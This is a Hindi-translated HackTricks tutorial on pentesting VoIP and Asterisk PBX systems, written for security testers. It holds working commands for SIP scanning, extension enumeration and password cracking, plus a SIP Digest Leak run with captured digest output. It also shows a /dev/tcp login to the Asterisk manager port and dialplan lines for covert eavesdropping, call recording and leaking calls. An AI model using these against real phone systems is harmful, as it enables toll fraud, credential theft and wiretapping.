Pentesting VoIP
Reading time: 30 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
VoIP मूल जानकारी
VoIP कैसे काम करता है यह सीखने के लिए देखें:
मूल संदेश
Request name Description RFC references
------------------------------------------------------------------------------------------------------
REGISTER Register a SIP user. RFC 3261
INVITE Initiate a dialog for establishing a call. RFC 3261
ACK Confirm that an entity has received. RFC 3261
BYE Signal termination of a dialog and end a call. RFC 3261
CANCEL Cancel any pending request. RFC 3261
UPDATE Modify the state of a session without changing the state of the dialog. RFC 3311
REFER Ask recipient to issue a request for the purpose of call transfer. RFC 3515
PRACK Provisional acknowledgement. RFC 3262
SUBSCRIBE Initiates a subscription for notification of events from a notifier. RFC 6665
NOTIFY Inform a subscriber of notifications of a new event. RFC 6665
PUBLISH Publish an event to a notification server. RFC 3903
MESSAGE Deliver a text message. Used in instant messaging applications. RFC 3428
INFO Send mid-session information that does not modify the session state. RFC 6086
OPTIONS Query the capabilities of an endpoint RFC 3261
Response Codes
1xx—Provisional Responses
100 Trying
180 Ringing
181 Call is Being Forwarded
182 Queued
183 Session Progress
199 Early Dialog Terminated
2xx—सफल प्रतिक्रियाएँ
200 OK
202 Accepted
204 No Notification
3xx—पुनर्निर्देशन प्रतिक्रियाएँ
300 Multiple Choices
301 Moved Permanently
302 Moved Temporarily
305 Use Proxy
380 Alternative Service
4xx—क्लाइंट विफलता प्रतिक्रियाएँ
400 Bad Request
401 Unauthorized
402 Payment Required
403 Forbidden
404 Not Found
405 Method Not Allowed
406 Not Acceptable
407 Proxy Authentication Required
408 Request Timeout
409 Conflict
410 Gone
411 Length Required
412 Conditional Request Failed
413 Request Entity Too Large
414 Request-URI Too Long
415 Unsupported Media Type
416 Unsupported URI Scheme
417 Unknown Resource-Priority
420 Bad Extension
421 Extension Required
422 Session Interval Too Small
423 Interval Too Brief
424 Bad Location Information
425 Bad Alert Message
428 Use Identity Header
429 Provide Referrer Identity
430 Flow Failed
433 Anonymity Disallowed
436 Bad Identity-Info
437 Unsupported Certificate
438 Invalid Identity Header
439 First Hop Lacks Outbound Support
440 Max-Breadth Exceeded
469 Bad Info Package
470 Consent Needed
480 Temporarily Unavailable
481 Call/Transaction Does Not Exist
482 Loop Detected
483 Too Many Hops
484 Address Incomplete
485 Ambiguous
486 Busy Here
487 Request Terminated
488 Not Acceptable Here
489 Bad Event
491 Request Pending
493 Undecipherable
494 Security Agreement Required
5xx—सर्वर विफलता प्रतिक्रियाएँ
500 Internal Server Error
501 Not Implemented
502 Bad Gateway
503 Service Unavailable
504 Server Time-out
505 Version Not Supported
513 Message Too Large
555 Push Notification Service Not Supported
580 Precondition Failure
6xx—वैश्विक विफलता प्रतिक्रियाएँ
600 Busy Everywhere
603 Decline
604 Does Not Exist Anywhere
606 Not Acceptable
607 Unwanted
608 Rejected
VoIP Enumeration
Telephone Numbers
एक रेड टीम द्वारा किए जाने वाले पहले कदमों में से एक उपलब्ध फोन नंबरों की खोज करना है ताकि कंपनी से संपर्क किया जा सके, इसके लिए OSINT टूल, Google Searches या वेब पेजों को स्क्रैप किया जा सकता है।
एक बार जब आपके पास टेलीफोन नंबर हो जाएं, तो आप ऑपरेटर की पहचान करने के लिए ऑनलाइन सेवाओं का उपयोग कर सकते हैं:
- https://www.numberingplans.com/?page=analysis&sub=phonenr
- https://mobilenumbertracker.com/
- https://www.whitepages.com/
- https://www.twilio.com/lookup
यह जानकर कि क्या ऑपरेटर VoIP सेवाएं प्रदान करता है, आप पहचान सकते हैं कि क्या कंपनी VoIP का उपयोग कर रही है... इसके अलावा, यह संभव है कि कंपनी ने VoIP सेवाएं नहीं ली हैं लेकिन अपने VoIP PBX को पारंपरिक टेलीफोनी नेटवर्क से जोड़ने के लिए PSTN कार्ड का उपयोग कर रही है।
संगीत की स्वचालित प्रतिक्रियाएं जैसी चीजें आमतौर पर यह संकेत देती हैं कि VoIP का उपयोग किया जा रहा है।
Google Dorks
# Grandstream phones
intitle:"Grandstream Device Configuration" Password
intitle:"Grandstream Device Configuration" (intext:password & intext:"Grandstream Device Configuration" & intext:"Grandstream Networks" | inurl:cgi-bin) -.com|org
# Cisco Callmanager
inurl:"ccmuser/logon.asp"
intitle:"Cisco CallManager User Options Log On" "Please enter your User ID and Password in the spaces provided below and click the Log On button"
# Cisco phones
inurl:"NetworkConfiguration" cisco
# Linksys phones
intitle:"Sipura SPA Configuration"
# Snom phones
intitle:"snom" intext:"Welcome to Your Phone!" inurl:line_login.htm
# Polycom SoundPoint IP & phones
intitle:"SoundPoint IP Configuration Utility - Registration"
"Welcome to Polycom Web Configuration Utility" "Login as" "Password"
intext: "Welcome to Polycom Web Configuration Utility" intitle:"Polycom - Configuration Utility" inurl:"coreConf.htm"
intitle:"Polycom Login" inurl:"/login.html"
intitle:"Polycom Login" -.com
# Elastix
intitle:"Elastix - Login page" intext:"Elastix is licensed under GPL"
# FreePBX
inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministration"
OSINT जानकारी
कोई अन्य OSINT गणना जो VoIP सॉफ़्टवेयर की पहचान करने में मदद करती है, वह Red Team के लिए सहायक होगी।
नेटवर्क गणना
nmap
UDP सेवाओं को स्कैन करने में सक्षम है, लेकिन UDP सेवाओं की संख्या के कारण, यह बहुत धीमा है और इस प्रकार की सेवाओं के साथ बहुत सटीक नहीं हो सकता।
sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
svmap
SIPVicious से (sudo apt install sipvicious
): निर्दिष्ट नेटवर्क में SIP सेवाओं को खोजेगा।svmap
को ब्लॉक करना आसान है क्योंकि यह User-Agentfriendly-scanner
का उपयोग करता है, लेकिन आप/usr/share/sipvicious/sipvicious
से कोड को संशोधित कर सकते हैं और इसे बदल सकते हैं।
# Use --fp to fingerprint the services
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
SIPPTS scan
from sippts: SIPPTS स्कैन SIP सेवाओं के लिए UDP, TCP या TLS पर एक बहुत तेज़ स्कैनर है। यह मल्टीथ्रेड का उपयोग करता है और बड़े नेटवर्क रेंज को स्कैन कर सकता है। यह पोर्ट रेंज को आसानी से इंगित करने, TCP और UDP दोनों को स्कैन करने, एक अन्य विधि का उपयोग करने (डिफ़ॉल्ट रूप से यह OPTIONS का उपयोग करेगा) और एक अलग User-Agent निर्दिष्ट करने की अनुमति देता है (और अधिक)।
sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
[!] IP/Network: 10.10.0.0/24
[!] Port range: 5060-5080
[!] Protocol: UDP, TCP, TLS
[!] Method to scan: REGISTER
[!] Customized User-Agent: Cisco
[!] Used threads: 200
- metasploit:
auxiliary/scanner/sip/options_tcp normal No SIP Endpoint Scanner (TCP)
auxiliary/scanner/sip/options normal No SIP Endpoint Scanner (UDP)
अतिरिक्त नेटवर्क एन्यूमरेशन
PBX अन्य नेटवर्क सेवाओं को भी उजागर कर सकता है जैसे:
- 69/UDP (TFTP): फर्मवेयर अपडेट
- 80 (HTTP) / 443 (HTTPS): वेब से डिवाइस को प्रबंधित करने के लिए
- 389 (LDAP): उपयोगकर्ताओं की जानकारी संग्रहीत करने का विकल्प
- 3306 (MySQL): MySQL डेटाबेस
- 5038 (Manager): अन्य प्लेटफार्मों से Asterisk का उपयोग करने की अनुमति देता है
- 5222 (XMPP): Jabber का उपयोग करके संदेश
- 5432 (PostgreSQL): PostgreSQL डेटाबेस
- और अन्य...
विधियों की एन्यूमरेशन
यह संभव है यह पता लगाने के लिए कि PBX में कौन सी विधियाँ उपलब्ध हैं SIPPTS enumerate
का उपयोग करके sippts
sippts enumerate -i 10.10.0.10
सर्वर प्रतिक्रियाओं का विश्लेषण
यह बहुत महत्वपूर्ण है कि हम उन हेडर का विश्लेषण करें जो एक सर्वर हमें वापस भेजता है, जो कि हम भेजे गए संदेश और हेडर के प्रकार पर निर्भर करता है। SIPPTS send
का उपयोग करके sippts हम व्यक्तिगत संदेश भेज सकते हैं, सभी हेडर को संशोधित कर सकते हैं, और प्रतिक्रिया का विश्लेषण कर सकते हैं।
sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp
यह डेटा प्राप्त करना भी संभव है यदि सर्वर वेब्सॉकेट्स का उपयोग करता है। sippts से SIPPTS wssend
का उपयोग करके हम व्यक्तिगत WS संदेश भेज सकते हैं।
sippts wssend -i 10.10.0.10 -r 443 -path /ws
Extension Enumeration
PBX (Private Branch Exchange) सिस्टम में Extensions का मतलब है व्यक्तिगत फोन लाइनों, उपकरणों, या उपयोगकर्ताओं के लिए संगठन या व्यवसाय के भीतर असाइन किए गए विशिष्ट आंतरिक पहचानकर्ता। Extensions यह संभव बनाते हैं कि संगठन के भीतर कॉल को कुशलता से रूट किया जा सके, बिना प्रत्येक उपयोगकर्ता या उपकरण के लिए व्यक्तिगत बाहरी फोन नंबर की आवश्यकता के।
svwar
from SIPVicious (sudo apt install sipvicious
):svwar
एक मुफ्त SIP PBX एक्सटेंशन लाइन स्कैनर है। यह पारंपरिक वारडायलर्स के समान काम करता है एक रेंज के एक्सटेंशनों या दिए गए एक्सटेंशनों की सूची का अनुमान लगाकर।
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
SIPPTS exten
from sippts: SIPPTS exten एक SIP सर्वर पर एक्सटेंशन की पहचान करता है। Sipexten बड़े नेटवर्क और पोर्ट रेंज की जांच कर सकता है।
sippts exten -i 10.10.0.10 -r 5060 -e 100-200
- metasploit: आप metasploit के साथ extensions/usernames की भी गणना कर सकते हैं:
auxiliary/scanner/sip/enumerator_tcp normal No SIP Username Enumerator (TCP)
auxiliary/scanner/sip/enumerator normal No SIP Username Enumerator (UDP)
enumiax
(apt install enumiax
): enumIAX एक Inter Asterisk Exchange प्रोटोकॉल यूजरनेम ब्रूट-फोर्स एन्यूमरेटर है। enumIAX दो अलग-अलग मोड में काम कर सकता है; अनुक्रमिक यूजरनेम अनुमान या शब्दकोश हमला।
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
enumiax -v -m3 -M3 10.10.0.10
VoIP हमले
पासवर्ड ब्रूट-फोर्स - ऑनलाइन
PBX और कुछ extensions/usernames का पता लगाने के बाद, एक Red Team REGISTER विधि के माध्यम से एक extension पर प्रमाणीकरण करने की कोशिश कर सकता है, सामान्य पासवर्ड के एक शब्दकोश का उपयोग करके प्रमाणीकरण को ब्रूट फोर्स करने के लिए।
caution
ध्यान दें कि एक username extension के समान हो सकता है, लेकिन यह प्रथा PBX प्रणाली, इसकी कॉन्फ़िगरेशन, और संगठन की प्राथमिकताओं के आधार पर भिन्न हो सकती है...
यदि username extension के समान नहीं है, तो आपको इसे ब्रूट-फोर्स करने के लिए username का पता लगाना होगा।
svcrack
SIPVicious से (sudo apt install sipvicious
): SVCrack आपको PBX पर एक विशिष्ट username/extension के लिए पासवर्ड क्रैक करने की अनुमति देता है।
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
SIPPTS rcrack
from sippts: SIPPTS rcrack एक दूरस्थ पासवर्ड क्रैकर है जो SIP सेवाओं के लिए है। Rcrack विभिन्न IPs और पोर्ट रेंज में कई उपयोगकर्ताओं के लिए पासवर्ड का परीक्षण कर सकता है।
sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
- Metasploit:
- https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack.rb
- https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack_tcp.rb
VoIP Sniffing
यदि आप Open Wifi network के अंदर VoIP उपकरण पाते हैं, तो आप सभी जानकारी को स्निफ कर सकते हैं। इसके अलावा, यदि आप एक अधिक बंद नेटवर्क (Ethernet के माध्यम से जुड़े या सुरक्षित Wifi) के अंदर हैं, तो आप PBX और गेटवे के बीच MitM हमले जैसे ARPspoofing कर सकते हैं ताकि जानकारी को स्निफ किया जा सके।
नेटवर्क जानकारी के बीच, आप उपकरण प्रबंधित करने के लिए वेब क्रेडेंशियल्स, उपयोगकर्ता एक्सटेंशन, उपयोगकर्ता नाम, IP पते, यहां तक कि हैश किए गए पासवर्ड और RTP पैकेट भी पा सकते हैं जिन्हें आप बातचीत सुनने के लिए पुन: उत्पन्न कर सकते हैं, और भी बहुत कुछ।
इस जानकारी को प्राप्त करने के लिए, आप Wireshark, tcpdump जैसे उपकरणों का उपयोग कर सकते हैं... लेकिन VoIP बातचीत को स्निफ करने के लिए विशेष रूप से बनाए गए उपकरण ucsniff हैं।
caution
ध्यान दें कि यदि SIP संचार में TLS का उपयोग किया गया है तो आप SIP संचार को स्पष्ट रूप से नहीं देख पाएंगे।
यदि SRTP और ZRTP का उपयोग किया गया है, तो RTP पैकेट स्पष्ट पाठ में नहीं होंगे।
SIP क्रेडेंशियल्स (पासवर्ड ब्रूट-फोर्स - ऑफ़लाइन)
एक SIP REGISTER संचार को बेहतर समझने के लिए इस उदाहरण की जांच करें ताकि आप जान सकें कि क्रेडेंशियल्स कैसे भेजे जा रहे हैं।
sipdump
&sipcrack
, sipcrack का हिस्सा (apt-get install sipcrack
): ये उपकरण pcap से डाइजेस्ट प्रमाणीकरण को निकाल सकते हैं और उन्हें ब्रूटफोर्स कर सकते हैं।
sipdump -p net-capture.pcap sip-creds.txt
sipcrack sip-creds.txt -w dict.txt
SIPPTS dump
from sippts: SIPPTS dump एक pcap फ़ाइल से डाइजेस्ट प्रमाणीकरण निकाल सकता है।
sippts dump -f capture.pcap -o data.txt
SIPPTS dcrack
from sippts: SIPPTS dcrack एक उपकरण है जो SIPPTS डंप से प्राप्त डाइजेस्ट प्रमाणीकरण को क्रैक करने के लिए है।
sippts dcrack -f data.txt -w wordlist/rockyou.txt
SIPPTS tshark
from sippts: SIPPTS tshark एक PCAP फ़ाइल से SIP प्रोटोकॉल का डेटा निकालता है।
sippts tshark -f capture.pcap [-filter auth]
DTMF कोड
केवल SIP क्रेडेंशियल्स ही नेटवर्क ट्रैफिक में नहीं पाए जा सकते, बल्कि DTMF कोड भी मिल सकते हैं जो उदाहरण के लिए वॉइसमेल तक पहुंचने के लिए उपयोग किए जाते हैं।
इन कोड्स को INFO SIP संदेशों में, ऑडियो में या RTP पैकेट्स के अंदर भेजना संभव है। यदि कोड RTP पैकेट्स के अंदर हैं, तो आप बातचीत के उस हिस्से को काट सकते हैं और उन्हें निकालने के लिए टूल multimo का उपयोग कर सकते हैं:
multimon -a DTMF -t wac pin.wav
Free Calls / Asterisks Connections Misconfigurations
In Asterisk यह संभव है कि एक कनेक्शन एक विशेष IP पते से या किसी भी IP पते से अनुमति दी जाए:
host=10.10.10.10
host=dynamic
यदि एक IP पता निर्दिष्ट किया गया है, तो होस्ट हर कुछ समय में REGISTER अनुरोध भेजने की आवश्यकता नहीं होगी (REGISTER पैकेट में जीवनकाल भेजा जाता है, आमतौर पर 30 मिनट, जिसका अर्थ है कि अन्य परिदृश्य में फोन को हर 30 मिनट में REGISTER करने की आवश्यकता होगी)। हालाँकि, इसे कॉल करने के लिए VoIP सर्वर से कनेक्शन की अनुमति देने वाले खुले पोर्ट होने की आवश्यकता होगी।
उपयोगकर्ताओं को परिभाषित करने के लिए उन्हें इस प्रकार परिभाषित किया जा सकता है:
type=user
: उपयोगकर्ता केवल कॉल प्राप्त कर सकता है।type=friend
: इसे पीयर के रूप में कॉल करने और उपयोगकर्ता के रूप में प्राप्त करने की अनुमति है (विस्तारण के साथ उपयोग किया जाता है)type=peer
: इसे पीयर के रूप में कॉल भेजने और प्राप्त करने की अनुमति है (SIP-trunks)
यह असुरक्षित चर के साथ विश्वास स्थापित करना भी संभव है:
insecure=port
: IP द्वारा मान्य पीयर कनेक्शन की अनुमति देता है।insecure=invite
: INVITE संदेशों के लिए प्रमाणीकरण की आवश्यकता नहीं हैinsecure=port,invite
: दोनों
warning
जब type=friend
का उपयोग किया जाता है, तो host चर का मूल्य उपयोग नहीं किया जाएगा, इसलिए यदि एक व्यवस्थापक SIP-trunk को उस मूल्य का उपयोग करके गलत कॉन्फ़िगर करता है, तो कोई भी इससे कनेक्ट कर सकेगा।
उदाहरण के लिए, यह कॉन्फ़िगरेशन असुरक्षित होगा:
host=10.10.10.10
insecure=port,invite
type=friend
मुफ्त कॉल / एस्टेरिस्क संदर्भ गलत कॉन्फ़िगरेशन
Asterisk में एक संदर्भ डायल योजना में एक नामित कंटेनर या अनुभाग है जो संबंधित विस्तार, क्रियाएँ और नियमों को एक साथ समूहित करता है। डायल योजना Asterisk प्रणाली का मुख्य घटक है, क्योंकि यह कैसे आने वाली और जाने वाली कॉल को संभाला और रूट किया जाता है को परिभाषित करती है। संदर्भों का उपयोग डायल योजना को व्यवस्थित करने, पहुंच नियंत्रण प्रबंधित करने और प्रणाली के विभिन्न भागों के बीच विभाजन प्रदान करने के लिए किया जाता है।
प्रत्येक संदर्भ कॉन्फ़िगरेशन फ़ाइल में परिभाषित किया गया है, आमतौर पर extensions.conf
फ़ाइल में। संदर्भों को वर्गाकार ब्रैकेट द्वारा दर्शाया जाता है, जिसमें संदर्भ का नाम उनके भीतर होता है। उदाहरण के लिए:
csharpCopy code[my_context]
संदर्भ के भीतर, आप एक्सटेंशन (डायल किए गए नंबरों के पैटर्न) को परिभाषित करते हैं और उन्हें क्रियाओं या अनुप्रयोगों की एक श्रृंखला के साथ जोड़ते हैं। ये क्रियाएँ निर्धारित करती हैं कि कॉल को कैसे संसाधित किया जाता है। उदाहरण के लिए:
[my_context]
exten => 100,1,Answer()
exten => 100,n,Playback(welcome)
exten => 100,n,Hangup()
यह उदाहरण "my_context" नामक एक सरल संदर्भ को दर्शाता है जिसमें "100" एक्सटेंशन है। जब कोई 100 डायल करता है, तो कॉल का उत्तर दिया जाएगा, एक स्वागत संदेश चलाया जाएगा, और फिर कॉल समाप्त कर दिया जाएगा।
यह एक और संदर्भ है जो किसी अन्य नंबर पर कॉल करने की अनुमति देता है:
[external]
exten => _X.,1,Dial(SIP/trunk/${EXTEN})
यदि व्यवस्थापक डिफ़ॉल्ट संदर्भ को इस प्रकार परिभाषित करता है:
[default]
include => my_context
include => external
warning
कोई भी सर्वर का उपयोग किसी अन्य नंबर पर कॉल करने के लिए कर सकेगा (और सर्वर का व्यवस्थापक कॉल के लिए भुगतान करेगा)।
caution
इसके अलावा, डिफ़ॉल्ट रूप से sip.conf
फ़ाइल में allowguest=true
होता है, फिर कोई भी हमलावर बिना प्रमाणीकरण के किसी अन्य नंबर पर कॉल कर सकेगा।
SIPPTS invite
from sippts: SIPPTS invite यह जांचता है कि PBX सर्वर हमें बिना प्रमाणीकरण के कॉल करने की अनुमति देता है या नहीं। यदि SIP सर्वर की गलत कॉन्फ़िगरेशन है, तो यह हमें बाहरी नंबरों पर कॉल करने की अनुमति देगा। यह हमें कॉल को दूसरे बाहरी नंबर पर ट्रांसफर करने की भी अनुमति दे सकता है।
उदाहरण के लिए, यदि आपके Asterisk सर्वर की खराब संदर्भ कॉन्फ़िगरेशन है, तो आप बिना प्राधिकरण के INVITE अनुरोध स्वीकार कर सकते हैं। इस मामले में, एक हमलावर बिना किसी उपयोगकर्ता/पासवर्ड को जाने कॉल कर सकता है।
# Trying to make a call to the number 555555555 (without auth) with source number 200.
sippts invite -i 10.10.0.10 -fu 200 -tu 555555555 -v
# Trying to make a call to the number 555555555 (without auth) and transfer it to number 444444444.
sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444
Free calls / Misconfigured IVRS
IVRS का मतलब है Interactive Voice Response System, एक टेलीफोनी तकनीक जो उपयोगकर्ताओं को आवाज़ या टच-टोन इनपुट के माध्यम से एक कंप्यूटरीकृत प्रणाली के साथ बातचीत करने की अनुमति देती है। IVRS का उपयोग स्वचालित कॉल हैंडलिंग सिस्टम बनाने के लिए किया जाता है जो विभिन्न कार्यक्षमताओं की पेशकश करता है, जैसे जानकारी प्रदान करना, कॉल रूट करना, और उपयोगकर्ता इनपुट कैप्चर करना।
VoIP सिस्टम में IVRS आमतौर पर निम्नलिखित से मिलकर बना होता है:
- Voice prompts: पूर्व-रिकॉर्डेड ऑडियो संदेश जो उपयोगकर्ताओं को IVR मेनू विकल्पों और निर्देशों के माध्यम से मार्गदर्शित करते हैं।
- DTMF (Dual-Tone Multi-Frequency) सिग्नलिंग: फोन पर कुंजियों को दबाकर उत्पन्न टच-टोन इनपुट, जिसका उपयोग IVR मेनू के माध्यम से नेविगेट करने और इनपुट प्रदान करने के लिए किया जाता है।
- Call routing: उपयोगकर्ता इनपुट के आधार पर कॉल को उचित गंतव्य, जैसे विशिष्ट विभागों, एजेंटों, या एक्सटेंशन पर निर्देशित करना।
- User input capture: कॉल करने वालों से जानकारी एकत्र करना, जैसे खाता नंबर, केस आईडी, या कोई अन्य प्रासंगिक डेटा।
- Integration with external systems: IVR प्रणाली को डेटाबेस या अन्य सॉफ़्टवेयर सिस्टम से जोड़ना ताकि जानकारी तक पहुँच या अपडेट किया जा सके, क्रियाएँ की जा सकें, या घटनाएँ ट्रिगर की जा सकें।
Asterisk VoIP सिस्टम में, आप डायल प्लान (extensions.conf
फ़ाइल) और विभिन्न अनुप्रयोगों जैसे Background()
, Playback()
, Read()
, और अधिक का उपयोग करके एक IVR बना सकते हैं। ये अनुप्रयोग आपको वॉयस प्रॉम्प्ट्स चलाने, उपयोगकर्ता इनपुट कैप्चर करने, और कॉल प्रवाह को नियंत्रित करने में मदद करते हैं।
Example of vulnerable configuration
exten => 0,100,Read(numbers,the_call,,,,5)
exten => 0,101,GotoIf("$[${numbers}"="1"]?200)
exten => 0,102,GotoIf("$[${numbers}"="2"]?300)
exten => 0,103,GotoIf("$[${numbers}"=""]?100)
exten => 0,104,Dial(LOCAL/${numbers})
पिछले उदाहरण में उपयोगकर्ता से 1 दबाने के लिए कहा जाता है एक विभाग को कॉल करने के लिए, 2 दबाने के लिए दूसरे को कॉल करने के लिए, या पूर्ण एक्सटेंशन यदि वह इसे जानता है।
कमजोरी यह है कि निर्दिष्ट एक्सटेंशन की लंबाई की जांच नहीं की जाती है, इसलिए एक उपयोगकर्ता 5 सेकंड का टाइमआउट एक पूर्ण नंबर दर्ज कर सकता है और इसे कॉल किया जाएगा।
Extension Injection
एक एक्सटेंशन का उपयोग करते हुए:
exten => _X.,1,Dial(SIP/${EXTEN})
जहाँ ${EXTEN}
वह extension है जिसे कॉल किया जाएगा, जब ext 101 पेश किया जाएगा तो यह होगा:
exten => 101,1,Dial(SIP/101)
हालांकि, यदि ${EXTEN}
संख्याओं के अलावा अधिक को पेश करने की अनुमति देता है (जैसे पुराने Asterisk संस्करणों में), तो एक हमलावर 101&SIP123123123
को फोन नंबर 123123123 पर कॉल करने के लिए पेश कर सकता है। और इसका परिणाम होगा:
exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)
इसलिए, 101
और 123123123
पर कॉल किया जाएगा और केवल पहला कॉल प्राप्त करने वाला स्थापित होगा... लेकिन यदि एक हमलावर ऐसे एक्सटेंशन का उपयोग करता है जो किसी भी मिलान को बायपास करता है जो किया जा रहा है लेकिन अस्तित्व में नहीं है, तो वह केवल इच्छित नंबर पर कॉल इंजेक्ट कर सकता है।
SIPDigestLeak भेद्यता
SIP Digest Leak एक भेद्यता है जो कई SIP फोन को प्रभावित करती है, जिसमें हार्डवेयर और सॉफ़्टवेयर IP फोन के साथ-साथ फोन एडाप्टर (VoIP से एनालॉग) शामिल हैं। यह भेद्यता डाइजेस्ट प्रमाणीकरण प्रतिक्रिया के लीक की अनुमति देती है, जो पासवर्ड से गणना की जाती है। एक ऑफलाइन पासवर्ड हमले की संभावना है और यह चुनौती प्रतिक्रिया के आधार पर अधिकांश पासवर्ड को पुनर्प्राप्त कर सकता है।
- एक IP फोन (शिकार) किसी भी पोर्ट पर सुन रहा है (उदाहरण: 5060), फोन कॉल स्वीकार कर रहा है
- हमलावर IP फोन को एक INVITE भेजता है
- शिकार फोन बजने लगता है और कोई उठाता है और फोन रख देता है (क्योंकि दूसरी तरफ कोई फोन का जवाब नहीं देता)
- जब फोन रख दिया जाता है, तो शिकार फोन हमलावर को एक BYE भेजता है
- हमलावर एक 407 प्रतिक्रिया जारी करता है जो प्रमाणीकरण के लिए पूछता है और एक प्रमाणीकरण चुनौती जारी करता है
- शिकार फोन प्रमाणीकरण चुनौती का उत्तर प्रदान करता है एक दूसरे BYE में
- हमलावर तब अपनी स्थानीय मशीन (या वितरित नेटवर्क आदि) पर चुनौती प्रतिक्रिया पर एक ब्रूट-फोर्स हमला कर सकता है और पासवर्ड का अनुमान लगा सकता है
- SIPPTS लीक sippts** से:** SIPPTS लीक SIP Digest Leak भेद्यता का लाभ उठाता है जो कई SIP फोन को प्रभावित करती है। आउटपुट को SipCrack प्रारूप में सहेजा जा सकता है ताकि इसे SIPPTS dcrack या SipCrack टूल का उपयोग करके ब्रूटफोर्स किया जा सके।
sippts leak -i 10.10.0.10
[!] Target: 10.10.0.10:5060/UDP
[!] Caller: 100
[!] Callee: 100
[=>] Request INVITE
[<=] Response 100 Trying
[<=] Response 180 Ringing
[<=] Response 200 OK
[=>] Request ACK
... waiting for BYE ...
[<=] Received BYE
[=>] Request 407 Proxy Authentication Required
[<=] Received BYE with digest
[=>] Request 200 Ok
Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100@10.10.0.10:56583;transport=UDP", response="31fece0d4ff6fd524c1d4c9482e99bb2", algorithm=MD5
Click2Call
Click2Call एक वेब उपयोगकर्ता को अनुमति देता है (जो उदाहरण के लिए किसी उत्पाद में रुचि रख सकता है) कि वह अपना टेलीफोन नंबर प्रदान करे ताकि उसे कॉल किया जा सके। फिर एक वाणिज्यिक कॉल की जाएगी, और जब वह फोन उठाएगा तो उपयोगकर्ता को कॉल किया जाएगा और एजेंट से जोड़ा जाएगा।
इसके लिए एक सामान्य Asterisk प्रोफ़ाइल है:
[web_user]
secret = complex_password
deny = 0.0.0.0/0.0.0.0
allow = 0.0.0.0/0.0.0.0
displayconnects = yes
read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
write = system,call,agent,user,config,command,reporting,originate
- पिछले प्रोफ़ाइल में कोई भी IP पता कनेक्ट करने की अनुमति है (यदि पासवर्ड ज्ञात है)।
- एक कॉल आयोजित करने के लिए, जैसा कि पहले निर्दिष्ट किया गया था, कोई पढ़ने की अनुमति आवश्यक नहीं है और केवल लिखने में उद्गम की आवश्यकता है।
इन अनुमतियों के साथ, कोई भी IP जो पासवर्ड जानता है, कनेक्ट कर सकता है और बहुत अधिक जानकारी निकाल सकता है, जैसे:
# Get all the peers
exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3
अधिक जानकारी या क्रियाएँ मांगी जा सकती हैं।
ईव्सड्रॉपिंग
Asterisk में ChanSpy
कमांड का उपयोग करना संभव है, जो निगरानी करने के लिए विस्तार(ों) (या सभी) को इंगित करता है ताकि हो रही बातचीत को सुना जा सके। इस कमांड को एक विस्तार को सौंपा जाना चाहिए।
उदाहरण के लिए, exten => 333,1,ChanSpy('all',qb)
यह इंगित करता है कि यदि आप विस्तार 333 पर कॉल करते हैं, तो यह all
विस्तारों की निगरानी करेगा, जब भी एक नई बातचीत शुरू होती है (b
) तो चुप्पी मोड (q
) में सुनना शुरू करेगा क्योंकि हम इसमें हस्तक्षेप नहीं करना चाहते। आप *
दबाकर या विस्तार संख्या को चिह्नित करके एक बातचीत से दूसरी बातचीत में जा सकते हैं।
केवल एक विस्तार की निगरानी करने के लिए ExtenSpy
का उपयोग करना भी संभव है।
बातचीत को सुनने के बजाय, उन्हें फ़ाइलों में रिकॉर्ड करना संभव है, जैसे:
[recorded-context]
exten => _X.,1,Set(NAME=/tmp/${CONTEXT}_${EXTEN}_${CALLERID(num)}_${UNIQUEID}.wav)
exten => _X.,2,MixMonitor(${NAME})
कॉल /tmp
में सहेजे जाएंगे।
आप Asterisk को एक स्क्रिप्ट निष्पादित करने के लिए भी बना सकते हैं जो कॉल बंद होने पर लीक कर देगी।
exten => h,1,System(/tmp/leak_conv.sh &)
RTCPBleed सुरक्षा समस्या
RTCPBleed एक प्रमुख सुरक्षा समस्या है जो Asterisk-आधारित VoIP सर्वरों को प्रभावित करती है (2017 में प्रकाशित)। यह भेद्यता RTP (Real Time Protocol) ट्रैफ़िक को इंटरनेट पर किसी भी व्यक्ति द्वारा इंटरसेप्ट और रीडायरेक्ट करने की अनुमति देती है, जो VoIP वार्तालापों को ले जाती है। यह इसलिए होता है क्योंकि RTP ट्रैफ़िक NAT (Network Address Translation) फ़ायरवॉल के माध्यम से नेविगेट करते समय प्रमाणीकरण को बायपास करता है।
